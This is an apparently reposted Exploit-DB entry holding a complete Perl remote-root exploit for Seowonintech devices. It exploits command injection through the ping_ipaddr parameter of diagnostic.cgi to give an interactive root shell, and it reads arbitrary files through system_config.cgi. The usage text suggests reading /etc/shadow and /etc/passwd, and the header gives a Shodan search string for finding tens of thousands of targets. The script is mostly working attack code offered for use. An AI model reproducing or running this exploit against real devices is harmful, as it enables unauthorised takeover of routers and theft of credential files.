Seowonintech Devices – Remote Command Execution

  • 作者: Todor Donev
    日期: 2013-06-24
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/26412/
  • #!/usr/bin/perl
    # 
    #[+] Seowonintech all device remote root exploit v2
    # =====================================================
    # author: | email:
    # Todor Donev(latin)| todor dot donev 
    # Òîäîð Äîíåâ(cyrillic) | @googlemail.com
    # =====================================================
    # type:| platform:| description:
    # remote | linux| attacker can get root
    # hardware | seowonintech | access on the device
    # =====================================================
    # greetings to:
    # Stiliyan Angelov,Tsvetelina Emirska,all elite 
    # colleagues and all my friends that support me. 
    # =====================================================
    # warning:
    # Results about 37665 possible vulnerabilities
    # from this exploit.
    # =====================================================
    # shodanhq dork: 
    # thttpd/2.25b 29dec2003 Content-Length: 386 Date: 2013
    # =====================================================
    # P.S. Sorry for buggy perl.. :)
    # 2o13 Hell yeah from Bulgaria, Sofia
    #
    #Stop Monsanto Stop Monsanto Stop Monsanto
    #
    # FREE GOTTFRID SVARTHOLM WARG FREE
    # GOTTFRID SVARTHOLM WARG is THEPIRATEBAY co-founder 
    # who was sentenced to two years in jail by Nacka 
    # district court, Sweden on 18.06.2013 for hacking into
    # computers at a company that manages data for Swedish
    # authorities and making illegal online money transfers.
     
    use LWP::Simple qw/$ua get/;
    my $host=$ARGV[0] =~ /^http:\/\// ?$ARGV[0]:'http://' . $ARGV[0];
    if(not defined $ARGV[0])
    {
     usg();
     exit;
    }
    print "[+] Seowonintech all device remote root exploit\n";
    $diagcheck = $host."/cgi-bin/diagnostic.cgi";
    $syscheck = $host."/cgi-bin/system_config.cgi";
    $res = $ua->get($diagcheck) || die "[-] Error: $!\n";
    print "[+] Checking before attack..\n";
    if($res->status_line != 200){
     print "[+] diagnostic.cgi Status: ".$res->status_line."\n";
     }else{
     print "[o] Victim is ready for attack.\n";
     print "[o] Status: ".$res->status_line."\n";
     if(defined $res =~ m{selected>4</option>}sx){
     print "[+] Connected to $ARGV[0]\n";
     print "[+] The fight for the future Begins\n";
     print "[+] Exploiting via remote command execution..\n";
     print "[+] Permission granted, old friend.\n";
     &rce;
     }else{
     print "[!] Warning: possible vulnerability.\n";
     exit;
    } 
    }
    $res1 = $ua->get($syscheck) || die "[-] Error: $!\n";
    if($res1->status_line != 200){
     print "[+] system_config.cgi Status: ".$res1->status_line."\n";
     exit;
     }else{
     print "[+] Trying to attack via remote file disclosure release.\n";
     if(defined $syscheck =~ s/value=\'\/etc\/\'//gs){
     print "[+] Victim is ready for attack.\n";
     print "[+] Connected to $ARGV[0]\n";
     print "[o] Follow the white cat.\n";
     print "[+] Exploiting via remote file dislocure..\n";
     print "[+] You feeling lucky, Neo?\n";
     &rfd;
     }else{
     print "[!] Warning: Possible vulnerability. Believe the unbelievable!\n";
     exit;
    }
    }
    sub rfd{
    while(1){ 
     print "# cat ";
     chomp($file=<STDIN>);
     if($file eq ""){ print "Enter full path to file!\n"; }
     $bug = $host."/cgi-bin/system_config.cgi?file_name=".$file."&btn_type=load&action=APPLY";
     $data=get($bug) || die "[-] Error: $ARGV[0] $!\n";
     $data =~ s/Null/File not found!/gs;
     if (defined $data =~ m{rows="30">(.*?)</textarea>}sx){
     print $1."\n";
     }
     }
    }
    sub rce{
    while(1){ 
     print "# ";
     chomp($rce=<STDIN>);
     $bug = $host."/cgi-bin/diagnostic.cgi?select_mode_ping=on&ping_ipaddr=-q -s 0 127.0.0.1;".$rce.";&ping_count=1&action=Apply&html_view=ping";
     $rce =~ s/\|/\;/;
     if($rce eq ""){print "enter Linux command\n";}
     if($rce eq "clear"){system $^O eq 'MSWin32' ? 'cls' : 'clear';}
     if($rce eq "exit" || $rce eq "quit"){print "There is no spoon...\n"; exit;}
     $data=get($bug) || die "[-] Error: $!\n";
     if (defined $data =~ m{(\s.*) Content-type:}sx){
     $result = substr $1, index($1, ' loss') or substr $1, index($1, ' ms');
     $result =~ s/ loss\n//; 
     $result =~ s/ ms\n//;
     print $result;
    }
    }
    }
    sub usg
    {
     print " [+] Seowonintech all device remote root exploit\n";
     print " [!] by Todor Donev todor dot donev @ googlemail.com\n";
     print " [?] usg: perl $0 <victim>\n";
     print " [?] exmp xpl USG: perl $0 192.168.1.1 :)\n";
     print " [1] exmp xpl RCE: # uname -a :)\n";
     print " [2] exmp xpl RFD: # cat /etc/webpasswd or /etc/shadow, maybe and /etc/passwd :P\n";
    }